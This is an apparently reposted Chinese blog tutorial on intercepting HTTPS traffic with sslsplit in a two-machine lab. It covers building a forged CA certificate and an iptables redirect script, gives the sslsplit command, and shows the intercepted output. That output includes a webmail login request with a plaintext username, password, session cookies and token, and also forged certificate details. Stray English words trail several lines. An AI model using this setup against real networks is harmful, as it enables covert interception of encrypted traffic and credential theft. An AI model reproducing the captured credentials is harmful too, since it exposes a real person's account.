中間人攻擊,即在中間監聽獲取網絡數據以便獲取的有價值的信息實現攻擊破壞的目的,即client-mid man-server,此處介紹的sslsplit能夠做爲mid man監聽ssl信息及HTTP信息。http不作介紹僅僅實現代理功能,ssl實現代理的同時要與服務器創建鏈接,同時僞造證書與客戶端創建鏈接,即雙鏈接,依據獲取的client信息再與服務器通訊,從而實現明文數據監聽。html
一、實驗環境 2臺機器配置以下:git
A:192.168.68.62 github
A機器爲Linux系統緩存
B:192.168.68.66服務器
B機器爲Linux系統(Windows系統也可),將B機器網關設置爲192.168.68.62即由B發出的報文都轉向A機器網絡
二、A機器SSLSplit配置過程app
安裝libevent2.x:下載地址http://download.chinaunix.net/download/0006000/5804.shtml下載最新版本安裝便可(此實驗環境下載的是libevent-2.0.21-stable.tar.gz)dom
安裝Openssl:下載地址http://www.openssl.org/source/ (此實驗環境下載的是openssl-1.0.1g.tar.gz (MD5) (SHA1) (PGP sign))tcp
安裝sslsplit:https://github.com/droe/sslsplit 點擊右側下載zip包便可。post
下載後解壓安裝 依次執行tar zxvf xx.tar.gz ; cd xx ; ./configure ; make ; make install
在不指定prefix=XX的狀況下,默認安裝到/usr/local/目錄對於動態庫安裝後須要修改/etc/ld.so.conf加上.so所在目錄 目前安裝後爲/usr/local/lib目錄,把/usr/local/lib加入到ld.so.conf文件中後執行ldconfig將動態庫信息加入緩存中以便相關程序查找使用。
安裝完畢後可執行openssl及sslslplit -h查看openssl是否安裝成功。
三、製做證書:
利用openssl製做ca以便爲後續的客戶端程序頒發僞造的證書,同時去除key的密碼認證。
openssl req -new x509 -keyout ca.key -out ca.crt
openssl rsa -in ca.key -out ca.key.unsecure
四、執行sslsplit代理
將下面的信息加入到sslsplit.sh腳本中,後續啓動直接執行sslsplit腳本便可。
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080
sslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
若是發現端口被佔用提示Error from bind() ip地址被佔用時使用netstat -tanlp命令查看哪些端口被哪些進程佔用,殺掉進程響應進程便可。
五、在測試機器B中訪問mail.xx.com.cn時,能夠在日誌/tmp/sslsplit/logdir中查看ssl中加密的明文信息以下,紅色字體爲用戶名密碼,實現中間人查看。
POST / HTTP/1.1
Host: mail.topsec.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.11) Gecko/20121116 Firefox/10.0.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://mail.XX.com.cn/
Cookie: roundcube_sessid=gbpd6svfmue2s7695c37mu7n77; isbdresult=userclass%3A8%2Cuserdomain%3DNULL%2Cissystemadmin%3D0%2Cend
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
_token=d9646e13b414e4e3108d64e919855921&_action=login&_timezone=-7&_url=&_user=jia_yanhui&_pass=123456789%21&CAPTCHA_word=garnet&domain=-&select=&_lang_sel=zh_CNHTTP/1.1 302 Found
Date: Mon, 16 Jun 2014 06:08:23 GMT
Server: Apache
X-Powered-By: PHP/5.3.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sessauth=-del-; expires=Mon, 16-Jun-2014 06:07:24 GMT; path=/; secure; httponly
Set-Cookie: roundcube_sessid=3d14227ff09dac79b950acfb2c4b78c1; path=/; secure; httponly
Location: ./?_task=login
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 25
Connection: close
Content-Type: text/html
六、sslsplit控制檯輸出以下內容:
===> Original server certificate: //這個爲服務器的真正證書信息
Subject DN: /C=AU/ST=Some- State/O=\xC3\xA5\xC2\x8C\xC2\x97\xC3\xA4\xC2\xBA\xC2\xAC\xC3\xA5\xC2\xA4\xC2\xA9\xC3\xA8\xC2\x9E\xC2\x8D\xC3\xA4\xC2\xBF\xC2\xA1\xC3\xA7\xC2\xA7\xC2\x91\xC3\xA6\xC2\x8A\xC2\x80\xC3\xA6\xC2\x9C\xC2\x89\xC3\xA9\xC2\x99\xC2\x90\xC3\xA5\xC2\x85\xC2\xAC\xC3\xA5\xC2\x8F\xC2\xB8/CN=mail1./emailAddress=postmaster@
Common Names: mail1.
Fingerprint: 45:5c:93:02:f4:3c:90:62:1c:80:11:82:8e:01:88:67:20:29:3b:73
Certificate cache: HIT
===> Forged server certificate: //這個爲僞造的返回給客戶端的證書信息
Subject DN: /C=AU/ST=Some- State/O=\xC3\xA5\xC2\x8C\xC2\x97\xC3\xA4\xC2\xBA\xC2\xAC\xC3\xA5\xC2\xA4\xC2\xA9\xC3\xA8\xC2\x9E\xC2\x8D\xC3\xA4\xC2\xBF\xC2\xA1\xC3\xA7\xC2\xA7\xC2\x91\xC3\xA6\xC2\x8A\xC2\x80\xC3 \xA6\xC2\x9C\xC2\x89\xC3\xA9\xC2\x99\xC2\x90\xC3\xA5\xC2\x85\xC2\xAC\xC3\xA5\xC2\x8F\xC2\xB8/CN=mail1./emailAddress=postmaster@
Common Names: mail1.
Fingerprint: 35:5c:cb:4c:eb:71:ae:d1:63:d3:54:c6:97:5a:3c:23:ea:fe:a3:ad
COPY FROM : https://blog.csdn.net/jiayanhui2877/article/details/31379439